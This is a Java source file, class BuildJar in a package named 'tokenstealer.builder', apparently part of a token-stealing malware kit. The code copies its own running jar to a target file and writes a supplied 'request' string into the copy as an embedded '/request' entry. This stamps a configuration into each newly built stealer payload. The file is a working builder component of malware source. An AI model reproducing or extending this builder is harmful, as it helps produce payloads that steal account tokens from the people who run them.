blob: c6224ba01d3dc0dee50a62e5f99cc7ae73ec73c0 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
package de.romjaki.tokenstealer.builder;
import java.io.File;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import java.nio.file.*;
import java.util.HashMap;
public class BuildJar {
static void buildJar(String request, File target) {
if (target == null) return;
try {
Files.copy(
Paths.get(getCurrentJar()),
Paths.get(target.toURI()),
StandardCopyOption.REPLACE_EXISTING
);
} catch (URISyntaxException | IOException e) {
e.printStackTrace();
return;
}
URI fileUri = target.toURI();
try (FileSystem fs =
FileSystems.newFileSystem(
new URI("jar:" + fileUri.getScheme(), fileUri.getPath(), null),
new HashMap<String, String>() {{
put("create", "false");
}},
null)) {
Path path = fs.getPath("/request");
Files.write(path, request.getBytes());
} catch (IOException | URISyntaxException e) {
e.printStackTrace();
}
}
private static URI getCurrentJar() throws URISyntaxException {
return BuildJar.class.getProtectionDomain().getCodeSource().getLocation().toURI();
}
}
|